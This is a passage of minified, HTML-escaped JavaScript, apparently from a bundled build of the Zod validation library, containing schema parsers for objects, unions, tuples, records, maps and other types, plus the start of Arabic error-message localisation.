OF(e,t,r){e.issues.length&amp;&amp;t.issues.push(...P0(r,e.issues)),t.value[r]=e.value}const CX=at(&quot;$ZodArray&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;if(!Array.isArray(i))return r.issues.push({expected:&quot;array&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r;r.value=Array(i.length);const s=[];for(let o=0;o&lt;i.length;o++){const l=i[o],c=t.element._zod.run({value:l,issues:[]},n);c instanceof Promise?s.push(c.then(d=&gt;OF(d,r,o))):OF(c,r,o)}return s.length?Promise.all(s).then(()=&gt;r):r}});function e4(e,t,r,n){e.issues.length&amp;&amp;t.issues.push(...P0(r,e.issues)),e.value===void 0?r in n&amp;&amp;(t.value[r]=void 0):t.value[r]=e.value}function IX(e){const t=Object.keys(e.shape);for(const n of t)if(!e.shape?.[n]?._zod?.traits?.has(&quot;$ZodType&quot;))throw new Error(`Invalid element at key &quot;${n}&quot;: expected a Zod schema`);const r=yZ(e.shape);return{...e,keys:t,keySet:new Set(t),numKeys:t.length,optionalKeys:new Set(r)}}function jX(e,t,r,n,i,s){const o=[],l=i.keySet,c=i.catchall._zod,d=c.def.type;for(const u in t){if(l.has(u))continue;if(d===&quot;never&quot;){o.push(u);continue}const h=c.run({value:t[u],issues:[]},n);h instanceof Promise?e.push(h.then(p=&gt;e4(p,r,u,t))):e4(h,r,u,t)}return o.length&amp;&amp;r.issues.push({code:&quot;unrecognized_keys&quot;,keys:o,input:t,inst:s}),e.length?Promise.all(e).then(()=&gt;r):r}const NX=at(&quot;$ZodObject&quot;,(e,t)=&gt;{if(Dn.init(e,t),!Object.getOwnPropertyDescriptor(t,&quot;shape&quot;)?.get){const l=t.shape;Object.defineProperty(t,&quot;shape&quot;,{get:()=&gt;{const c={...l};return Object.defineProperty(t,&quot;shape&quot;,{value:c}),c}})}const n=Hy(()=&gt;IX(t));ti(e._zod,&quot;propValues&quot;,()=&gt;{const l=t.shape,c={};for(const d in l){const u=l[d]._zod;if(u.values){c[d]??(c[d]=new Set);for(const h of u.values)c[d].add(h)}}return c});const i=B1,s=t.catchall;let o;e._zod.parse=(l,c)=&gt;{o??(o=n.value);const d=l.value;if(!i(d))return l.issues.push({expected:&quot;object&quot;,code:&quot;invalid_type&quot;,input:d,inst:e}),l;l.value={};const u=[],h=o.shape;for(const p of o.keys){const y=h[p]._zod.run({value:d[p],issues:[]},c);y instanceof Promise?u.push(y.then(v=&gt;e4(v,l,p,d))):e4(y,l,p,d)}return s?jX(u,d,l,c,n.value,e):u.length?Promise.all(u).then(()=&gt;l):l}}),SX=at(&quot;$ZodObjectJIT&quot;,(e,t)=&gt;{NX.init(e,t);const r=e._zod.parse,n=Hy(()=&gt;IX(t)),i=p=&gt;{const A=new LJ([&quot;shape&quot;,&quot;payload&quot;,&quot;ctx&quot;]),y=n.value,v=S=&gt;{const _=h6(S);return`shape[${_}]._zod.run({ value: input[${_}], issues: [] }, ctx)`};A.write(&quot;const input = payload.value;&quot;);const w=Object.create(null);let j=0;for(const S of y.keys)w[S]=`key_${j++}`;A.write(&quot;const newResult = {};&quot;);for(const S of y.keys){const _=w[S],C=h6(S);A.write(`const ${_} = ${v(S)};`),A.write(`
        if (${_}.issues.length) {
          payload.issues = payload.issues.concat(${_}.issues.map(iss =&gt; ({
            ...iss,
            path: iss.path ? [${C}, ...iss.path] : [${C}]
          })));
        }
        
        
        if (${_}.value === undefined) {
          if (${C} in input) {
            newResult[${C}] = undefined;
          }
        } else {
          newResult[${C}] = ${_}.value;
        }
        
      `)}A.write(&quot;payload.value = newResult;&quot;),A.write(&quot;return payload;&quot;);const E=A.compile();return(S,_)=&gt;E(p,S,_)};let s;const o=B1,l=!Zw.jitless,d=l&amp;&amp;xZ.value,u=t.catchall;let h;e._zod.parse=(p,A)=&gt;{h??(h=n.value);const y=p.value;return o(y)?l&amp;&amp;d&amp;&amp;A?.async===!1&amp;&amp;A.jitless!==!0?(s||(s=i(t.shape)),p=s(p,A),u?jX([],y,p,A,h,e):p):r(p,A):(p.issues.push({expected:&quot;object&quot;,code:&quot;invalid_type&quot;,input:y,inst:e}),p)}});function LF(e,t,r,n){for(const s of e)if(s.issues.length===0)return t.value=s.value,t;const i=e.filter(s=&gt;!ig(s));return i.length===1?(t.value=i[0].value,i[0]):(t.issues.push({code:&quot;invalid_union&quot;,input:t.value,inst:r,errors:e.map(s=&gt;s.issues.map(o=&gt;o0(o,n,_l())))}),t)}const WE=at(&quot;$ZodUnion&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;optin&quot;,()=&gt;t.options.some(i=&gt;i._zod.optin===&quot;optional&quot;)?&quot;optional&quot;:void 0),ti(e._zod,&quot;optout&quot;,()=&gt;t.options.some(i=&gt;i._zod.optout===&quot;optional&quot;)?&quot;optional&quot;:void 0),ti(e._zod,&quot;values&quot;,()=&gt;{if(t.options.every(i=&gt;i._zod.values))return new Set(t.options.flatMap(i=&gt;Array.from(i._zod.values)))}),ti(e._zod,&quot;pattern&quot;,()=&gt;{if(t.options.every(i=&gt;i._zod.pattern)){const i=t.options.map(s=&gt;s._zod.pattern);return new RegExp(`^(${i.map(s=&gt;HE(s.source)).join(&quot;|&quot;)})$`)}});const r=t.options.length===1,n=t.options[0]._zod.run;e._zod.parse=(i,s)=&gt;{if(r)return n(i,s);let o=!1;const l=[];for(const c of t.options){const d=c._zod.run({value:i.value,issues:[]},s);if(d instanceof Promise)l.push(d),o=!0;else{if(d.issues.length===0)return d;l.push(d)}}return o?Promise.all(l).then(c=&gt;LF(c,i,e,s)):LF(l,i,e,s)}});function MF(e,t,r,n){const i=e.filter(s=&gt;s.issues.length===0);return i.length===1?(t.value=i[0].value,t):(i.length===0?t.issues.push({code:&quot;invalid_union&quot;,input:t.value,inst:r,errors:e.map(s=&gt;s.issues.map(o=&gt;o0(o,n,_l())))}):t.issues.push({code:&quot;invalid_union&quot;,input:t.value,inst:r,errors:[],inclusive:!1}),t)}const BX=at(&quot;$ZodXor&quot;,(e,t)=&gt;{WE.init(e,t),t.inclusive=!1;const r=t.options.length===1,n=t.options[0]._zod.run;e._zod.parse=(i,s)=&gt;{if(r)return n(i,s);let o=!1;const l=[];for(const c of t.options){const d=c._zod.run({value:i.value,issues:[]},s);d instanceof Promise?(l.push(d),o=!0):l.push(d)}return o?Promise.all(l).then(c=&gt;MF(c,i,e,s)):MF(l,i,e,s)}}),kX=at(&quot;$ZodDiscriminatedUnion&quot;,(e,t)=&gt;{t.inclusive=!1,WE.init(e,t);const r=e._zod.parse;ti(e._zod,&quot;propValues&quot;,()=&gt;{const i={};for(const s of t.options){const o=s._zod.propValues;if(!o||Object.keys(o).length===0)throw new Error(`Invalid discriminated union option at index &quot;${t.options.indexOf(s)}&quot;`);for(const[l,c]of Object.entries(o)){i[l]||(i[l]=new Set);for(const d of c)i[l].add(d)}}return i});const n=Hy(()=&gt;{const i=t.options,s=new Map;for(const o of i){const l=o._zod.propValues?.[t.discriminator];if(!l||l.size===0)throw new Error(`Invalid discriminated union option at index &quot;${t.options.indexOf(o)}&quot;`);for(const c of l){if(s.has(c))throw new Error(`Duplicate discriminator value &quot;${String(c)}&quot;`);s.set(c,o)}}return s});e._zod.parse=(i,s)=&gt;{const o=i.value;if(!B1(o))return i.issues.push({code:&quot;invalid_type&quot;,expected:&quot;object&quot;,input:o,inst:e}),i;const l=n.value.get(o?.[t.discriminator]);return l?l._zod.run(i,s):t.unionFallback?r(i,s):(i.issues.push({code:&quot;invalid_union&quot;,errors:[],note:&quot;No matching discriminator&quot;,discriminator:t.discriminator,input:o,path:[t.discriminator],inst:e}),i)}}),_X=at(&quot;$ZodIntersection&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value,s=t.left._zod.run({value:i,issues:[]},n),o=t.right._zod.run({value:i,issues:[]},n);return s instanceof Promise||o instanceof Promise?Promise.all([s,o]).then(([c,d])=&gt;UF(r,c,d)):UF(r,s,o)}});function g6(e,t){if(e===t)return{valid:!0,data:e};if(e instanceof Date&amp;&amp;t instanceof Date&amp;&amp;+e==+t)return{valid:!0,data:e};if(Sg(e)&amp;&amp;Sg(t)){const r=Object.keys(t),n=Object.keys(e).filter(s=&gt;r.indexOf(s)!==-1),i={...e,...t};for(const s of n){const o=g6(e[s],t[s]);if(!o.valid)return{valid:!1,mergeErrorPath:[s,...o.mergeErrorPath]};i[s]=o.data}return{valid:!0,data:i}}if(Array.isArray(e)&amp;&amp;Array.isArray(t)){if(e.length!==t.length)return{valid:!1,mergeErrorPath:[]};const r=[];for(let n=0;n&lt;e.length;n++){const i=e[n],s=t[n],o=g6(i,s);if(!o.valid)return{valid:!1,mergeErrorPath:[n,...o.mergeErrorPath]};r.push(o.data)}return{valid:!0,data:r}}return{valid:!1,mergeErrorPath:[]}}function UF(e,t,r){if(t.issues.length&amp;&amp;e.issues.push(...t.issues),r.issues.length&amp;&amp;e.issues.push(...r.issues),ig(e))return e;const n=g6(t.value,r.value);if(!n.valid)throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(n.mergeErrorPath)}`);return e.value=n.data,e}const sk=at(&quot;$ZodTuple&quot;,(e,t)=&gt;{Dn.init(e,t);const r=t.items;e._zod.parse=(n,i)=&gt;{const s=n.value;if(!Array.isArray(s))return n.issues.push({input:s,inst:e,expected:&quot;tuple&quot;,code:&quot;invalid_type&quot;}),n;n.value=[];const o=[],l=[...r].reverse().findIndex(u=&gt;u._zod.optin!==&quot;optional&quot;),c=l===-1?0:r.length-l;if(!t.rest){const u=s.length&gt;r.length,h=s.length&lt;c-1;if(u||h)return n.issues.push({...u?{code:&quot;too_big&quot;,maximum:r.length}:{code:&quot;too_small&quot;,minimum:r.length},input:s,inst:e,origin:&quot;array&quot;}),n}let d=-1;for(const u of r){if(d++,d&gt;=s.length&amp;&amp;d&gt;=c)continue;const h=u._zod.run({value:s[d],issues:[]},i);h instanceof Promise?o.push(h.then(p=&gt;Ob(p,n,d))):Ob(h,n,d)}if(t.rest){const u=s.slice(r.length);for(const h of u){d++;const p=t.rest._zod.run({value:h,issues:[]},i);p instanceof Promise?o.push(p.then(A=&gt;Ob(A,n,d))):Ob(p,n,d)}}return o.length?Promise.all(o).then(()=&gt;n):n}});function Ob(e,t,r){e.issues.length&amp;&amp;t.issues.push(...P0(r,e.issues)),t.value[r]=e.value}const DX=at(&quot;$ZodRecord&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;if(!Sg(i))return r.issues.push({expected:&quot;record&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r;const s=[],o=t.keyType._zod.values;if(o){r.value={};const l=new Set;for(const d of o)if(typeof d==&quot;string&quot;||typeof d==&quot;number&quot;||typeof d==&quot;symbol&quot;){l.add(typeof d==&quot;number&quot;?d.toString():d);const u=t.valueType._zod.run({value:i[d],issues:[]},n);u instanceof Promise?s.push(u.then(h=&gt;{h.issues.length&amp;&amp;r.issues.push(...P0(d,h.issues)),r.value[d]=h.value})):(u.issues.length&amp;&amp;r.issues.push(...P0(d,u.issues)),r.value[d]=u.value)}let c;for(const d in i)l.has(d)||(c=c??[],c.push(d));c&amp;&amp;c.length&gt;0&amp;&amp;r.issues.push({code:&quot;unrecognized_keys&quot;,input:i,inst:e,keys:c})}else{r.value={};for(const l of Reflect.ownKeys(i)){if(l===&quot;__proto__&quot;)continue;const c=t.keyType._zod.run({value:l,issues:[]},n);if(c instanceof Promise)throw new Error(&quot;Async schemas not supported in object keys currently&quot;);if(c.issues.length){t.mode===&quot;loose&quot;?r.value[l]=i[l]:r.issues.push({code:&quot;invalid_key&quot;,origin:&quot;record&quot;,issues:c.issues.map(u=&gt;o0(u,n,_l())),input:l,path:[l],inst:e});continue}const d=t.valueType._zod.run({value:i[l],issues:[]},n);d instanceof Promise?s.push(d.then(u=&gt;{u.issues.length&amp;&amp;r.issues.push(...P0(l,u.issues)),r.value[c.value]=u.value})):(d.issues.length&amp;&amp;r.issues.push(...P0(l,d.issues)),r.value[c.value]=d.value)}}return s.length?Promise.all(s).then(()=&gt;r):r}}),TX=at(&quot;$ZodMap&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;if(!(i instanceof Map))return r.issues.push({expected:&quot;map&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r;const s=[];r.value=new Map;for(const[o,l]of i){const c=t.keyType._zod.run({value:o,issues:[]},n),d=t.valueType._zod.run({value:l,issues:[]},n);c instanceof Promise||d instanceof Promise?s.push(Promise.all([c,d]).then(([u,h])=&gt;{zF(u,h,r,o,i,e,n)})):zF(c,d,r,o,i,e,n)}return s.length?Promise.all(s).then(()=&gt;r):r}});function zF(e,t,r,n,i,s,o){e.issues.length&amp;&amp;(Xw.has(typeof n)?r.issues.push(...P0(n,e.issues)):r.issues.push({code:&quot;invalid_key&quot;,origin:&quot;map&quot;,input:i,inst:s,issues:e.issues.map(l=&gt;o0(l,o,_l()))})),t.issues.length&amp;&amp;(Xw.has(typeof n)?r.issues.push(...P0(n,t.issues)):r.issues.push({origin:&quot;map&quot;,code:&quot;invalid_element&quot;,input:i,inst:s,key:n,issues:t.issues.map(l=&gt;o0(l,o,_l()))})),r.value.set(e.value,t.value)}const RX=at(&quot;$ZodSet&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;if(!(i instanceof Set))return r.issues.push({input:i,inst:e,expected:&quot;set&quot;,code:&quot;invalid_type&quot;}),r;const s=[];r.value=new Set;for(const o of i){const l=t.valueType._zod.run({value:o,issues:[]},n);l instanceof Promise?s.push(l.then(c=&gt;$F(c,r))):$F(l,r)}return s.length?Promise.all(s).then(()=&gt;r):r}});function $F(e,t){e.issues.length&amp;&amp;t.issues.push(...e.issues),t.value.add(e.value)}const PX=at(&quot;$ZodEnum&quot;,(e,t)=&gt;{Dn.init(e,t);const r=L8(t.entries),n=new Set(r);e._zod.values=n,e._zod.pattern=new RegExp(`^(${r.filter(i=&gt;Xw.has(typeof i)).map(i=&gt;typeof i==&quot;string&quot;?th(i):i.toString()).join(&quot;|&quot;)})$`),e._zod.parse=(i,s)=&gt;{const o=i.value;return n.has(o)||i.issues.push({code:&quot;invalid_value&quot;,values:r,input:o,inst:e}),i}}),QX=at(&quot;$ZodLiteral&quot;,(e,t)=&gt;{if(Dn.init(e,t),t.values.length===0)throw new Error(&quot;Cannot create literal schema with no valid values&quot;);const r=new Set(t.values);e._zod.values=r,e._zod.pattern=new RegExp(`^(${t.values.map(n=&gt;typeof n==&quot;string&quot;?th(n):n?th(n.toString()):String(n)).join(&quot;|&quot;)})$`),e._zod.parse=(n,i)=&gt;{const s=n.value;return r.has(s)||n.issues.push({code:&quot;invalid_value&quot;,values:t.values,input:s,inst:e}),n}}),FX=at(&quot;$ZodFile&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;return i instanceof File||r.issues.push({expected:&quot;file&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),OX=at(&quot;$ZodTransform&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)throw new $E(e.constructor.name);const i=t.transform(r.value,r);if(n.async)return(i instanceof Promise?i:Promise.resolve(i)).then(o=&gt;(r.value=o,r));if(i instanceof Promise)throw new dg;return r.value=i,r}});function HF(e,t){return e.issues.length&amp;&amp;t===void 0?{issues:[],value:void 0}:e}const LX=at(&quot;$ZodOptional&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.optin=&quot;optional&quot;,e._zod.optout=&quot;optional&quot;,ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values?new Set([...t.innerType._zod.values,void 0]):void 0),ti(e._zod,&quot;pattern&quot;,()=&gt;{const r=t.innerType._zod.pattern;return r?new RegExp(`^(${HE(r.source)})?$`):void 0}),e._zod.parse=(r,n)=&gt;{if(t.innerType._zod.optin===&quot;optional&quot;){const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;HF(s,r.value)):HF(i,r.value)}return r.value===void 0?r:t.innerType._zod.run(r,n)}}),MX=at(&quot;$ZodNullable&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;optin&quot;,()=&gt;t.innerType._zod.optin),ti(e._zod,&quot;optout&quot;,()=&gt;t.innerType._zod.optout),ti(e._zod,&quot;pattern&quot;,()=&gt;{const r=t.innerType._zod.pattern;return r?new RegExp(`^(${HE(r.source)}|null)$`):void 0}),ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values?new Set([...t.innerType._zod.values,null]):void 0),e._zod.parse=(r,n)=&gt;r.value===null?r:t.innerType._zod.run(r,n)}),UX=at(&quot;$ZodDefault&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.optin=&quot;optional&quot;,ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)return t.innerType._zod.run(r,n);if(r.value===void 0)return r.value=t.defaultValue,r;const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;qF(s,t)):qF(i,t)}});function qF(e,t){return e.value===void 0&amp;&amp;(e.value=t.defaultValue),e}const zX=at(&quot;$ZodPrefault&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.optin=&quot;optional&quot;,ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values),e._zod.parse=(r,n)=&gt;(n.direction===&quot;backward&quot;||r.value===void 0&amp;&amp;(r.value=t.defaultValue),t.innerType._zod.run(r,n))}),$X=at(&quot;$ZodNonOptional&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;values&quot;,()=&gt;{const r=t.innerType._zod.values;return r?new Set([...r].filter(n=&gt;n!==void 0)):void 0}),e._zod.parse=(r,n)=&gt;{const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;GF(s,e)):GF(i,e)}});function GF(e,t){return!e.issues.length&amp;&amp;e.value===void 0&amp;&amp;e.issues.push({code:&quot;invalid_type&quot;,expected:&quot;nonoptional&quot;,input:e.value,inst:t}),e}const HX=at(&quot;$ZodSuccess&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)throw new $E(&quot;ZodSuccess&quot;);const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;(r.value=s.issues.length===0,r)):(r.value=i.issues.length===0,r)}}),qX=at(&quot;$ZodCatch&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;optin&quot;,()=&gt;t.innerType._zod.optin),ti(e._zod,&quot;optout&quot;,()=&gt;t.innerType._zod.optout),ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)return t.innerType._zod.run(r,n);const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;(r.value=s.value,s.issues.length&amp;&amp;(r.value=t.catchValue({...r,error:{issues:s.issues.map(o=&gt;o0(o,n,_l()))},input:r.value}),r.issues=[]),r)):(r.value=i.value,i.issues.length&amp;&amp;(r.value=t.catchValue({...r,error:{issues:i.issues.map(s=&gt;o0(s,n,_l()))},input:r.value}),r.issues=[]),r)}}),GX=at(&quot;$ZodNaN&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;((typeof r.value!=&quot;number&quot;||!Number.isNaN(r.value))&amp;&amp;r.issues.push({input:r.value,inst:e,expected:&quot;nan&quot;,code:&quot;invalid_type&quot;}),r)}),VX=at(&quot;$ZodPipe&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;values&quot;,()=&gt;t.in._zod.values),ti(e._zod,&quot;optin&quot;,()=&gt;t.in._zod.optin),ti(e._zod,&quot;optout&quot;,()=&gt;t.out._zod.optout),ti(e._zod,&quot;propValues&quot;,()=&gt;t.in._zod.propValues),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;){const s=t.out._zod.run(r,n);return s instanceof Promise?s.then(o=&gt;Lb(o,t.in,n)):Lb(s,t.in,n)}const i=t.in._zod.run(r,n);return i instanceof Promise?i.then(s=&gt;Lb(s,t.out,n)):Lb(i,t.out,n)}});function Lb(e,t,r){return e.issues.length?(e.aborted=!0,e):t._zod.run({value:e.value,issues:e.issues},r)}const ok=at(&quot;$ZodCodec&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;values&quot;,()=&gt;t.in._zod.values),ti(e._zod,&quot;optin&quot;,()=&gt;t.in._zod.optin),ti(e._zod,&quot;optout&quot;,()=&gt;t.out._zod.optout),ti(e._zod,&quot;propValues&quot;,()=&gt;t.in._zod.propValues),e._zod.parse=(r,n)=&gt;{if((n.direction||&quot;forward&quot;)===&quot;forward&quot;){const s=t.in._zod.run(r,n);return s instanceof Promise?s.then(o=&gt;Mb(o,t,n)):Mb(s,t,n)}else{const s=t.out._zod.run(r,n);return s instanceof Promise?s.then(o=&gt;Mb(o,t,n)):Mb(s,t,n)}}});function Mb(e,t,r){if(e.issues.length)return e.aborted=!0,e;if((r.direction||&quot;forward&quot;)===&quot;forward&quot;){const i=t.transform(e.value,e);return i instanceof Promise?i.then(s=&gt;Ub(e,s,t.out,r)):Ub(e,i,t.out,r)}else{const i=t.reverseTransform(e.value,e);return i instanceof Promise?i.then(s=&gt;Ub(e,s,t.in,r)):Ub(e,i,t.in,r)}}function Ub(e,t,r,n){return e.issues.length?(e.aborted=!0,e):r._zod.run({value:t,issues:e.issues},n)}const WX=at(&quot;$ZodReadonly&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;propValues&quot;,()=&gt;t.innerType._zod.propValues),ti(e._zod,&quot;values&quot;,()=&gt;t.innerType._zod.values),ti(e._zod,&quot;optin&quot;,()=&gt;t.innerType?._zod?.optin),ti(e._zod,&quot;optout&quot;,()=&gt;t.innerType?._zod?.optout),e._zod.parse=(r,n)=&gt;{if(n.direction===&quot;backward&quot;)return t.innerType._zod.run(r,n);const i=t.innerType._zod.run(r,n);return i instanceof Promise?i.then(VF):VF(i)}});function VF(e){return e.value=Object.freeze(e.value),e}const KX=at(&quot;$ZodTemplateLiteral&quot;,(e,t)=&gt;{Dn.init(e,t);const r=[];for(const n of t.parts)if(typeof n==&quot;object&quot;&amp;&amp;n!==null){if(!n._zod.pattern)throw new Error(`Invalid template literal part, no pattern found: ${[...n._zod.traits].shift()}`);const i=n._zod.pattern instanceof RegExp?n._zod.pattern.source:n._zod.pattern;if(!i)throw new Error(`Invalid template literal part: ${n._zod.traits}`);const s=i.startsWith(&quot;^&quot;)?1:0,o=i.endsWith(&quot;$&quot;)?i.length-1:i.length;r.push(i.slice(s,o))}else if(n===null||vZ.has(typeof n))r.push(th(`${n}`));else throw new Error(`Invalid template literal part: ${n}`);e._zod.pattern=new RegExp(`^${r.join(&quot;&quot;)}$`),e._zod.parse=(n,i)=&gt;typeof n.value!=&quot;string&quot;?(n.issues.push({input:n.value,inst:e,expected:&quot;template_literal&quot;,code:&quot;invalid_type&quot;}),n):(e._zod.pattern.lastIndex=0,e._zod.pattern.test(n.value)||n.issues.push({input:n.value,inst:e,code:&quot;invalid_format&quot;,format:t.format??&quot;template_literal&quot;,pattern:e._zod.pattern.source}),n)}),YX=at(&quot;$ZodFunction&quot;,(e,t)=&gt;(Dn.init(e,t),e._def=t,e._zod.def=t,e.implement=r=&gt;{if(typeof r!=&quot;function&quot;)throw new Error(&quot;implement() must be called with a function&quot;);return function(...n){const i=e._def.input?m6(e._def.input,n):n,s=Reflect.apply(r,this,i);return e._def.output?m6(e._def.output,s):s}},e.implementAsync=r=&gt;{if(typeof r!=&quot;function&quot;)throw new Error(&quot;implementAsync() must be called with a function&quot;);return async function(...n){const i=e._def.input?await p6(e._def.input,n):n,s=await Reflect.apply(r,this,i);return e._def.output?await p6(e._def.output,s):s}},e._zod.parse=(r,n)=&gt;typeof r.value!=&quot;function&quot;?(r.issues.push({code:&quot;invalid_type&quot;,expected:&quot;function&quot;,input:r.value,inst:e}),r):(e._def.output&amp;&amp;e._def.output._zod.def.type===&quot;promise&quot;?r.value=e.implementAsync(r.value):r.value=e.implement(r.value),r),e.input=(...r)=&gt;{const n=e.constructor;return Array.isArray(r[0])?new n({type:&quot;function&quot;,input:new sk({type:&quot;tuple&quot;,items:r[0],rest:r[1]}),output:e._def.output}):new n({type:&quot;function&quot;,input:r[0],output:e._def.output})},e.output=r=&gt;{const n=e.constructor;return new n({type:&quot;function&quot;,input:e._def.input,output:r})},e)),ZX=at(&quot;$ZodPromise&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;Promise.resolve(r.value).then(i=&gt;t.innerType._zod.run({value:i,issues:[]},n))}),JX=at(&quot;$ZodLazy&quot;,(e,t)=&gt;{Dn.init(e,t),ti(e._zod,&quot;innerType&quot;,()=&gt;t.getter()),ti(e._zod,&quot;pattern&quot;,()=&gt;e._zod.innerType?._zod?.pattern),ti(e._zod,&quot;propValues&quot;,()=&gt;e._zod.innerType?._zod?.propValues),ti(e._zod,&quot;optin&quot;,()=&gt;e._zod.innerType?._zod?.optin??void 0),ti(e._zod,&quot;optout&quot;,()=&gt;e._zod.innerType?._zod?.optout??void 0),e._zod.parse=(r,n)=&gt;e._zod.innerType._zod.run(r,n)}),XX=at(&quot;$ZodCustom&quot;,(e,t)=&gt;{Ja.init(e,t),Dn.init(e,t),e._zod.parse=(r,n)=&gt;r,e._zod.check=r=&gt;{const n=r.value,i=t.fn(n);if(i instanceof Promise)return i.then(s=&gt;WF(s,r,n,e));WF(i,r,n,e)}});function WF(e,t,r,n){if(!e){const i={code:&quot;custom&quot;,input:r,inst:n,path:[...n._zod.def.path??[]],continue:!n._zod.def.abort};n._zod.def.params&amp;&amp;(i.params=n._zod.def.params),t.issues.push(k1(i))}}const YLe=()=&gt;{const e={string:{unit:&quot;حرف&quot;,verb:&quot;أن يحوي&quot;},file:{unit:&quot;بايت&quot;,verb:&quot;أن يحوي&quot;},array:{unit:&quot;عنصر&quot;,verb:&quot;أن يحوي&quot;},set:{unit:&quot;عنصر&quot;,verb:&quot;أن يحوي&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;مدخل&quot;,email:&quot;بريد إلكتروني&quot;,url:&quot;رابط&quot;,emoji:&quot;إيموجي&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;تاريخ ووقت بمعيار ISO&quot;,date:&quot;تاريخ بمعيار ISO&quot;,time:&quot;وقت بمعيار ISO&quot;,duration:&quot;مدة بمعيار ISO&quot;,ipv4:&quot;عنوان IPv4&quot;,ipv6:&quot;عنوان IPv6&quot;,cidrv4:&quot;مدى عناوين بصيغة IPv4&quot;,cidrv6:&quot;مدى عناوين بصيغة IPv6&quot;,base64:&quot;نَص بترميز base64-encoded&quot;,base64url:&quot;نَص بترميز base64url-encoded&quot;,json_string:&quot;نَص على هيئة JSON&quot;,e164:&quot;رقم هاتف بمعيار E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;مدخل&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`مدخلات غير مقبولة: يفترض إدخال ${i.expected}، ولكن تم إدخال ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`مدخلات غير مقبولة: يفترض إدخال ${xn(i.values[0])}`:`اختيار غير مقبول: يتوقع انتقاء أحد هذه الخيارات: ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?` أكبر من اللازم: يفترض أن تكون ${i.origin??&quot;القيمة&quot;} ${s} ${i.maximum.toString()} ${o.unit??&quot;عنصر&quot;}`:`أكبر من اللازم: يفترض أن تكون ${i.origin??&quot;القيمة&quot;} ${s} ${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`أصغر من اللازم: يفترض لـ ${i.origin} أن يكون ${s} ${i.minimum.toString()} ${o.unit}`:`أصغر من اللازم: يفترض لـ ${i.origin} أن يكون ${s} ${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`نَص غير مقبول: يجب أن يبدأ بـ &quot;${i.prefix}&quot;`:s.format===&quot;ends_with&quot;?`نَص غير مقبول: يجب أن ينتهي بـ &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`نَص غير مقبول: يجب أن يتضمَّن &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`نَص غير مقبول: يجب أن يطابق النمط ${s.pattern}`:`${n[s.format]??i.format} غير مقبول`}case&quot;not_multiple_of&quot;:return`رقم غير مقبول: يجب أن يكون من مضاعفات 